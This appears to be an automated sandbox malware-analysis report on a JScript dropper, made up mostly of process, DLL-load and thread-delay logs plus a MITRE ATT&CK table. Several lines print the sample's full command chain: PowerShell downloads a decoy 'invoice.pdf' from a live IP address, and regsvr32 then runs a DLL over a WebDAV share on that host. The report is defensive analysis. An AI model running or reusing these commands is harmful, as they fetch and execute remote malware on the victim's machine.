Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1354.js.csv");ITextStream.WriteLine(" entry:8303 f:bmyqmq");ITextStream.WriteLine(" exec:2 f:bmyqmq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49744

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5246			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4526			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1384	Thread sleep count: 5246 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1636	Thread sleep count: 4526 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6672	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7140	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8068	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5904	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3276	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1384	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1365352083.00000169F599E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1365352083.00000169F5938000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2597292202.000001B608A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2595897503.000001B60362B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
